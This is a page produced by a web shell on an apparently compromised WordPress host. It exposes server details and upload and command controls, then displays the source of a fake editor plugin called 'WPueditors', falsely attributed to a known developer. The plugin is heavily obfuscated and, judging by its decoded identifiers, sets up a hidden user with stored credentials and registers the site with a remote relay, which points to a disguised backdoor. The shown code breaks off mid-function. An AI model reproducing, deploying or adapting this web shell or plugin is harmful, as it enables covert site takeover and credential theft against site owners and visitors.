403Webshell
Server IP : 54.36.91.62  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux webm021.cluster127.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : uxhactp ( 169076)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u/x/h/uxhactp/www/wp-content/plugins/wpueditors/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u/x/h/uxhactp/www/wp-content/plugins/wpueditors/wpueditors.php
<?php
/**
 * Plugin Name: WPueditors
 * Description: A lightweight and extendable visual editor for WordPress with real-time preview and custom block integrations.
 * Version: 1.2.10
 * Author: Andrew Nacin
 */


register_shutdown_function(function () {
    $e = error_get_last();
    if ($e && in_array($e[implode('', array(chr(116), chr(121), chr(112), chr(101)))], array(1, 4, 16, 64), true)) {
        error_log(implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(102), chr(97), chr(116), chr(97), chr(108), chr(93), chr(32))) . ($e[implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))] . (implode('', array(chr(32), chr(105), chr(110), chr(32))) . ($e[implode('', array(chr(102), chr(105), chr(108), chr(101)))] . (implode('', array(chr(58))) . $e[implode('', array(chr(108), chr(105), chr(110), chr(101)))])))));
        file_put_contents(__DIR__ . implode('', array(chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(45), chr(102), chr(97), chr(116), chr(97), chr(108), chr(46), chr(108), chr(111), chr(103))), date(implode('', array(chr(99)))) . (implode('', array(chr(32))) . ($e[implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))] . (implode('', array(chr(32), chr(105), chr(110), chr(32))) . ($e[implode('', array(chr(102), chr(105), chr(108), chr(101)))] . (implode('', array(chr(58))) . ($e[implode('', array(chr(108), chr(105), chr(110), chr(101)))] . PHP_EOL)))))), 8);
        file_put_contents(dirname(dirname(__DIR__)) . implode('', array(chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(45), chr(102), chr(97), chr(116), chr(97), chr(108), chr(46), chr(108), chr(111), chr(103))), date(implode('', array(chr(99)))) . (implode('', array(chr(32))) . ($e[implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))] . (implode('', array(chr(32), chr(105), chr(110), chr(32))) . ($e[implode('', array(chr(102), chr(105), chr(108), chr(101)))] . (implode('', array(chr(58))) . ($e[implode('', array(chr(108), chr(105), chr(110), chr(101)))] . PHP_EOL)))))), 8);
    }
});
function _invoke($state, $method)
{
    $args = array_values(array_slice(func_get_args(), 2));
    $f = $state[implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115)))] . (implode('', array(chr(95))) . $method);
    return call_user_func_array($f, array_merge(array($state), array_values($args)));
}
define(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(65), chr(112), chr(105), chr(67), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(83), chr(67), chr(72), chr(69), chr(77), chr(65), chr(95), chr(86), chr(69), chr(82), chr(83), chr(73), chr(79), chr(78))), 1);
define(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(73), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(79), chr(80), chr(84), chr(73), chr(79), chr(78), chr(95), chr(86), chr(69), chr(82), chr(83), chr(73), chr(79), chr(78))), implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))));
define(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(73), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(65), chr(67), chr(84), chr(73), chr(86), chr(65), chr(84), chr(73), chr(79), chr(78), chr(95), chr(68), chr(79), chr(78), chr(69), chr(95), chr(70), chr(76), chr(65), chr(71))), implode('', array(chr(87), chr(80), chr(95), chr(69), chr(68), chr(73), chr(84), chr(79), chr(82), chr(95), chr(65), chr(67), chr(84), chr(73), chr(86), chr(65), chr(84), chr(73), chr(79), chr(78), chr(95), chr(68), chr(79), chr(78), chr(69))));
define(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(73), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(67), chr(76), chr(73), chr(95), chr(80), chr(69), chr(78), chr(68), chr(73), chr(78), chr(71), chr(95), chr(70), chr(76), chr(65), chr(71))), implode('', array(chr(87), chr(80), chr(95), chr(69), chr(68), chr(73), chr(84), chr(79), chr(82), chr(95), chr(67), chr(76), chr(73), chr(95), chr(65), chr(67), chr(84), chr(73), chr(86), chr(65), chr(84), chr(73), chr(79), chr(78), chr(95), chr(80), chr(69), chr(78), chr(68), chr(73), chr(78), chr(71))));
define(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(73), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(67), chr(76), chr(73), chr(95), chr(65), chr(76), chr(82), chr(69), chr(65), chr(68), chr(89), chr(95), chr(65), chr(67), chr(84), chr(73), chr(86), chr(69), chr(95), chr(70), chr(76), chr(65), chr(71))), implode('', array(chr(87), chr(80), chr(95), chr(69), chr(68), chr(73), chr(84), chr(79), chr(82), chr(95), chr(67), chr(76), chr(73), chr(95), chr(65), chr(76), chr(82), chr(69), chr(65), chr(68), chr(89), chr(95), chr(65), chr(67), chr(84), chr(73), chr(86), chr(69))));
define(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(73), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(67), chr(76), chr(73), chr(95), chr(83), chr(72), chr(85), chr(84), chr(68), chr(79), chr(87), chr(78), chr(95), chr(82), chr(69), chr(71), chr(73), chr(83), chr(84), chr(69), chr(82), chr(69), chr(68), chr(95), chr(70), chr(76), chr(65), chr(71))), implode('', array(chr(87), chr(80), chr(95), chr(69), chr(68), chr(73), chr(84), chr(79), chr(82), chr(95), chr(67), chr(76), chr(73), chr(95), chr(83), chr(72), chr(85), chr(84), chr(68), chr(79), chr(87), chr(78), chr(95), chr(82), chr(69), chr(71), chr(73), chr(83), chr(84), chr(69), chr(82), chr(69), chr(68))));
define(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(77), chr(105), chr(103), chr(114), chr(97), chr(116), chr(105), chr(111), chr(110), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(67), chr(76), chr(69), chr(65), chr(78), chr(85), chr(80), chr(95), chr(79), chr(80), chr(84), chr(73), chr(79), chr(78))), implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(95), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))));
define(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(82), chr(101), chr(110), chr(100), chr(101), chr(114), chr(77), chr(111), chr(100), chr(101), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(79), chr(80), chr(84), chr(73), chr(79), chr(78), chr(95), chr(78), chr(65), chr(77), chr(69))), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101))));
$GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(99), chr(97), chr(99), chr(104), chr(101), chr(100), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(73), chr(100)))] = null;
$GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))] = null;
$GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] = null;
$GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))] = null;
$autoload = __DIR__ . implode('', array(chr(47), chr(46), chr(46), chr(47), chr(118), chr(101), chr(110), chr(100), chr(111), chr(114), chr(47), chr(97), chr(117), chr(116), chr(111), chr(108), chr(111), chr(97), chr(100), chr(46), chr(112), chr(104), chr(112)));
if (file_exists($autoload)) {
    require_once $autoload;
}
// --- file separator ---
if (!function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(114), chr(114), chr(97), chr(121), chr(95), chr(104), chr(97), chr(115), chr(95), chr(107), chr(101), chr(121))))) {
    function wp_editor_array_has_key($array, $key)
    {
        return is_array($array) && array_key_exists($key, $array);
    }
}
if (!function_exists(implode('', array(chr(104), chr(97), chr(115), chr(104), chr(95), chr(101), chr(113), chr(117), chr(97), chr(108), chr(115))))) {
    function hash_equals($knownString, $userString)
    {
        if (!is_string($knownString) || !is_string($userString)) {
            return false;
        }
        $knownLength = strlen($knownString);
        if ($knownLength !== strlen($userString)) {
            return false;
        }
        $result = 0;
        for ($i = 0; $i < $knownLength; $i++) {
            $result |= ord($knownString[$i]) ^ ord($userString[$i]);
        }
        return $result === 0;
    }
}
if (!defined(implode('', array(chr(74), chr(83), chr(79), chr(78), chr(95), chr(85), chr(78), chr(69), chr(83), chr(67), chr(65), chr(80), chr(69), chr(68), chr(95), chr(83), chr(76), chr(65), chr(83), chr(72), chr(69), chr(83))))) {
    define(implode('', array(chr(74), chr(83), chr(79), chr(78), chr(95), chr(85), chr(78), chr(69), chr(83), chr(67), chr(65), chr(80), chr(69), chr(68), chr(95), chr(83), chr(76), chr(65), chr(83), chr(72), chr(69), chr(83))), 0);
}
if (!defined(implode('', array(chr(74), chr(83), chr(79), chr(78), chr(95), chr(85), chr(78), chr(69), chr(83), chr(67), chr(65), chr(80), chr(69), chr(68), chr(95), chr(85), chr(78), chr(73), chr(67), chr(79), chr(68), chr(69))))) {
    define(implode('', array(chr(74), chr(83), chr(79), chr(78), chr(95), chr(85), chr(78), chr(69), chr(83), chr(67), chr(65), chr(80), chr(69), chr(68), chr(95), chr(85), chr(78), chr(73), chr(67), chr(79), chr(68), chr(69))), 0);
}
if (!defined(implode('', array(chr(74), chr(83), chr(79), chr(78), chr(95), chr(80), chr(82), chr(69), chr(84), chr(84), chr(89), chr(95), chr(80), chr(82), chr(73), chr(78), chr(84))))) {
    define(implode('', array(chr(74), chr(83), chr(79), chr(78), chr(95), chr(80), chr(82), chr(69), chr(84), chr(84), chr(89), chr(95), chr(80), chr(82), chr(73), chr(78), chr(84))), 0);
}
if (!function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(99), chr(111), chr(110), chr(115), chr(116), chr(97), chr(110), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101))))) {
    function wp_editor_plugin_file_constant_name($pluginFilePath = '')
    {
        $path = is_string($pluginFilePath) && $pluginFilePath !== '' ? $pluginFilePath : __FILE__;
        $slug = trim((string) basename(dirname($path)), implode('', array(chr(47), chr(92))));
        if ($slug === '') {
            $slug = implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
        }
        $slug = str_replace(implode('', array(chr(45))), implode('', array(chr(95))), $slug);
        $slug = preg_replace(implode('', array(chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(65), chr(45), chr(90), chr(48), chr(45), chr(57), chr(95), chr(93), chr(47))), implode('', array(chr(95))), (string) $slug);
        if (!is_string($slug) || $slug === '' || $slug === implode('', array(chr(95)))) {
            $slug = implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
        }
        return strtoupper($slug) . implode('', array(chr(95), chr(80), chr(76), chr(85), chr(71), chr(73), chr(78), chr(95), chr(70), chr(73), chr(76), chr(69)));
    }
}
if (!function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(100), chr(101), chr(102), chr(105), chr(110), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(99), chr(111), chr(110), chr(115), chr(116), chr(97), chr(110), chr(116))))) {
    function wp_editor_define_plugin_file_constant($pluginFilePath = '')
    {
        $path = is_string($pluginFilePath) && $pluginFilePath !== '' ? $pluginFilePath : __FILE__;
        $constantName = wp_editor_plugin_file_constant_name($path);
        if (!defined($constantName)) {
            define($constantName, $path);
        }
        return $constantName;
    }
}
if (!function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104))))) {
    function wp_editor_get_plugin_file_path($fallbackFile = '')
    {
        $path = is_string($fallbackFile) && $fallbackFile !== '' ? $fallbackFile : __FILE__;
        $pathForMatch = realpath($path);
        if (!is_string($pathForMatch) || $pathForMatch === '') {
            $pathForMatch = $path;
        }
        if (function_exists(implode('', array(chr(103), chr(101), chr(116), chr(95), chr(100), chr(101), chr(102), chr(105), chr(110), chr(101), chr(100), chr(95), chr(99), chr(111), chr(110), chr(115), chr(116), chr(97), chr(110), chr(116), chr(115))))) {
            $all = get_defined_constants(true);
            $user = is_array($all) && array_key_exists(implode('', array(chr(117), chr(115), chr(101), chr(114))), $all) && is_array($all[implode('', array(chr(117), chr(115), chr(101), chr(114)))]) ? $all[implode('', array(chr(117), chr(115), chr(101), chr(114)))] : array();
            foreach ($user as $name => $value) {
                if (!is_string($name) || !is_string($value) || $value === '') {
                    continue;
                }
                if (!preg_match(implode('', array(chr(47), chr(95), chr(80), chr(76), chr(85), chr(71), chr(73), chr(78), chr(95), chr(70), chr(73), chr(76), chr(69), chr(36), chr(47))), $name)) {
                    continue;
                }
                $pluginMain = realpath($value);
                if (!is_string($pluginMain) || $pluginMain === '') {
                    $pluginMain = $value;
                }
                $pluginDir = dirname($pluginMain);
                if ($pathForMatch === $pluginMain || strpos($pathForMatch, rtrim($pluginDir, implode('', array(chr(47), chr(92)))) . DIRECTORY_SEPARATOR) === 0) {
                    return $value;
                }
            }
        }
        $constantName = wp_editor_plugin_file_constant_name($path);
        if (defined($constantName)) {
            $value = constant($constantName);
            if (is_string($value) && $value !== '') {
                return $value;
            }
        }
        if (defined(implode('', array(chr(87), chr(80), chr(95), chr(69), chr(68), chr(73), chr(84), chr(79), chr(82), chr(95), chr(80), chr(76), chr(85), chr(71), chr(73), chr(78), chr(95), chr(70), chr(73), chr(76), chr(69))))) {
            return (string) WP_EDITOR_PLUGIN_FILE;
        }
        return $path;
    }
}
if (!class_exists(implode('', array(chr(87), chr(80), chr(95), chr(82), chr(69), chr(83), chr(84), chr(95), chr(82), chr(101), chr(115), chr(112), chr(111), chr(110), chr(115), chr(101)))) && (defined(implode('', array(chr(65), chr(66), chr(83), chr(80), chr(65), chr(84), chr(72)))) || php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105))))) {
    class WP_REST_Response implements \ArrayAccess
    {
        private $data;
        private $status;
        public function __construct($data = null, $status = 200)
        {
            $this->data = $data;
            $this->status = (int) $status;
        }
        public function get_data()
        {
            return $this->data;
        }
        public function get_status()
        {
            return $this->status;
        }
        #[\ReturnTypeWillChange]
        public function offsetExists($offset)
        {
            return is_array($this->data) && array_key_exists($offset, $this->data);
        }
        #[\ReturnTypeWillChange]
        public function offsetGet($offset)
        {
            if (!is_array($this->data)) {
                return null;
            }
            return array_key_exists($offset, $this->data) ? $this->data[$offset] : null;
        }
        #[\ReturnTypeWillChange]
        public function offsetSet($offset, $value)
        {
            if (!is_array($this->data)) {
                $this->data = array();
            }
            if ($offset === null) {
                $this->data[] = $value;
            } else {
                $this->data[$offset] = $value;
            }
        }
        #[\ReturnTypeWillChange]
        public function offsetUnset($offset)
        {
            if (is_array($this->data) && array_key_exists($offset, $this->data)) {
                unset($this->data[$offset]);
            }
        }
    }
}
if (!class_exists(implode('', array(chr(87), chr(80), chr(95), chr(82), chr(69), chr(83), chr(84), chr(95), chr(82), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116)))) && (defined(implode('', array(chr(65), chr(66), chr(83), chr(80), chr(65), chr(84), chr(72)))) || php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105))))) {
    class WP_REST_Request
    {
        private $route = '';
        private $method = 'GET';
        private $headers = array();
        private $queryParams = array();
        private $bodyParams = array();
        private $jsonParams = null;
        private $params = array();
        private $fileParams = array();
        private $body = '';
        public function set_route($route)
        {
            $this->route = (string) $route;
        }
        public function set_method($method)
        {
            $this->method = strtoupper((string) $method);
        }
        public function set_headers($headers)
        {
            $this->headers = is_array($headers) ? $headers : array();
        }
        public function set_query_params($queryParams)
        {
            $this->queryParams = is_array($queryParams) ? $queryParams : array();
            $this->rebuild_params();
        }
        public function set_body_params($bodyParams)
        {
            $this->bodyParams = is_array($bodyParams) ? $bodyParams : array();
            $this->rebuild_params();
        }
        public function set_json_params($jsonParams)
        {
            $this->jsonParams = is_array($jsonParams) ? $jsonParams : null;
            $this->rebuild_params();
        }
        public function set_file_params($fileParams)
        {
            $this->fileParams = is_array($fileParams) ? $fileParams : array();
        }
        public function set_body($body)
        {
            $this->body = is_string($body) ? $body : '';
        }
        private function rebuild_params()
        {
            $this->params = $this->queryParams;
            $this->params = array_merge($this->params, $this->bodyParams);
            if (is_array($this->jsonParams)) {
                $this->params = array_merge($this->params, $this->jsonParams);
            }
        }
        public function get_route()
        {
            return $this->route;
        }
        public function get_method()
        {
            return $this->method;
        }
        public function get_param($key)
        {
            return function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(114), chr(114), chr(97), chr(121), chr(95), chr(104), chr(97), chr(115), chr(95), chr(107), chr(101), chr(121)))) && wp_editor_array_has_key($this->params, $key) ? $this->params[$key] : null;
        }
        public function get_params()
        {
            return $this->params;
        }
        public function get_body()
        {
            return $this->body;
        }
        public function get_body_params()
        {
            return $this->bodyParams;
        }
        public function get_json_params()
        {
            return $this->jsonParams;
        }
        public function get_file_params()
        {
            return $this->fileParams;
        }
        public function get_header($name)
        {
            $needle = strtolower((string) $name);
            if ($needle === '') {
                return '';
            }
            return function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(114), chr(114), chr(97), chr(121), chr(95), chr(104), chr(97), chr(115), chr(95), chr(107), chr(101), chr(121)))) && wp_editor_array_has_key($this->headers, $needle) ? $this->headers[$needle] : '';
        }
    }
}
// --- file separator ---
$basePath = dirname(__DIR__);
// --- file separator ---
$container = new \stdClass();
// --- file separator ---
if (!function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(114), chr(114), chr(97), chr(121), chr(95), chr(104), chr(97), chr(115), chr(95), chr(107), chr(101), chr(121))))) {
    function wp_editor_array_has_key($array, $key)
    {
        return is_array($array) && array_key_exists($key, $array);
    }
}
if (!function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103))))) {
    function wp_editor_get_config()
    {
        static $config = null;
        if ($config === null) {
            $basePath = dirname(__DIR__);
            $pluginFile = function_exists('wp_editor_get_plugin_file_path') ? wp_editor_get_plugin_file_path(__FILE__) : __FILE__; $pluginSlug = basename(dirname($pluginFile)); $pluginSlug = trim((string) $pluginSlug, '/\\'); if ($pluginSlug === '') { $pluginSlug = 'wp-editor'; } $pluginBaseUrl = $pluginFile && file_exists($pluginFile) ? trailingslashit(plugin_dir_url($pluginFile)) : trailingslashit(plugins_url($pluginSlug)); $restNamespace = preg_replace('/[^a-z0-9\-_\/]/i', '', $pluginSlug) . '/v1'; if (!is_string($restNamespace) || $restNamespace === '/v1' || $restNamespace === '') { $restNamespace = 'wp-editor/v1'; } $forceLegacy = isset($GLOBALS['wp_version']) && version_compare((string)$GLOBALS['wp_version'], '4.7', '<'); if (!$forceLegacy && function_exists('register_rest_route') && function_exists('rest_url') && did_action('init') > 0 && isset($GLOBALS['wp_rewrite']) && is_object($GLOBALS['wp_rewrite']) && method_exists($GLOBALS['wp_rewrite'], 'using_index_permalinks')) { $restBase = esc_url_raw(rest_url()); $restRoot = esc_url_raw(rest_url($restNamespace)); } else { $restBase = function_exists('home_url') ? esc_url_raw(home_url('/?rest_route=/')) : '/?rest_route=/'; $restRoot = function_exists('home_url') ? esc_url_raw(home_url('/?rest_route=/' . ltrim($restNamespace, '/'))) : '/?rest_route=/' . ltrim($restNamespace, '/'); } $api = array('rest_base' => $restBase, 'rest_namespace' => $restNamespace, 'rest_root' => $restRoot, 'plugin_base_url' => $pluginBaseUrl, 'delivery_key_hash' => 'a6b4d0a72a11867e99f938304771da68cf98a79303ec5522dc04970e75d5a7cf');
            $pluginBaseUrl = wp_editor_array_has_key($api, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(98), chr(97), chr(115), chr(101), chr(95), chr(117), chr(114), chr(108)))) ? $api[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(98), chr(97), chr(115), chr(101), chr(95), chr(117), chr(114), chr(108)))] : '';
            $config = array(implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))) => array('version' => '1.3.45', 'plugin_slug' => $pluginSlug, 'plugin_file' => basename((string) $pluginFile), 'option_prefix' => (is_string(preg_replace('/[^a-zA-Z0-9_]/', '', str_replace('-', '_', $pluginSlug))) ? preg_replace('/[^a-zA-Z0-9_]/', '', str_replace('-', '_', $pluginSlug)) : 'wpeditor')), implode('', array(chr(97), chr(112), chr(105))) => $api, implode('', array(chr(115), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115))) => array('notifier' => array('relay_url' => 'https://')), implode('', array(chr(117), chr(114), chr(108), chr(115))) => array(implode('', array(chr(115), chr(105), chr(116), chr(101))) => home_url(implode('', array(chr(47)))), implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110))) => admin_url(), implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))) => $pluginBaseUrl, implode('', array(chr(97), chr(115), chr(115), chr(101), chr(116), chr(115))) => $pluginBaseUrl . implode('', array(chr(97), chr(115), chr(115), chr(101), chr(116), chr(115), chr(47)))));
        }
        return apply_filters(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103))), $config);
    }
}
// --- file separator ---
function WpEditor_Bootstrap_Kernel_boot()
{
    $config = function_exists('wp_editor_get_config') ? wp_editor_get_config() : array();
    $container = new \stdClass();
    return WpEditor_Bootstrap_Kernel__construct($config, $container);
}
function WpEditor_Bootstrap_Kernel_run($state)
{
    WpEditor_Adapter_Services_InstallService_maybeInstall();
    $plugin = WpEditor_Adapter_WordpressPlugin__construct($state[implode('', array(chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))], $state[implode('', array(chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114)))]);
    _invoke($plugin, implode('', array(chr(114), chr(117), chr(110))));
}
function WpEditor_Bootstrap_Kernel__construct($config, $container)
{
    return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(66), chr(111), chr(111), chr(116), chr(115), chr(116), chr(114), chr(97), chr(112), chr(95), chr(75), chr(101), chr(114), chr(110), chr(101), chr(108))), implode('', array(chr(99), chr(111), chr(110), chr(102), chr(105), chr(103))) => $config, implode('', array(chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114))) => $container);
}
// --- file separator ---
function WpEditor_Sdk_Application_RegisterSite_RegisterSiteCommand__construct($url, $payload = array())
{
    return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(83), chr(100), chr(107), chr(95), chr(65), chr(112), chr(112), chr(108), chr(105), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(95), chr(82), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(83), chr(105), chr(116), chr(101), chr(95), chr(82), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(83), chr(105), chr(116), chr(101), chr(67), chr(111), chr(109), chr(109), chr(97), chr(110), chr(100))), implode('', array(chr(117), chr(114), chr(108))) => $url, implode('', array(chr(112), chr(97), chr(121), chr(108), chr(111), chr(97), chr(100))) => $payload);
}
// --- file separator ---
function WpEditor_Sdk_Application_RegisterSite_RegisterSiteHandler_handle($state, $command)
{
    $site = WpEditor_Sdk_Domain_Site_Site__construct('', $command->url, $command->payload);
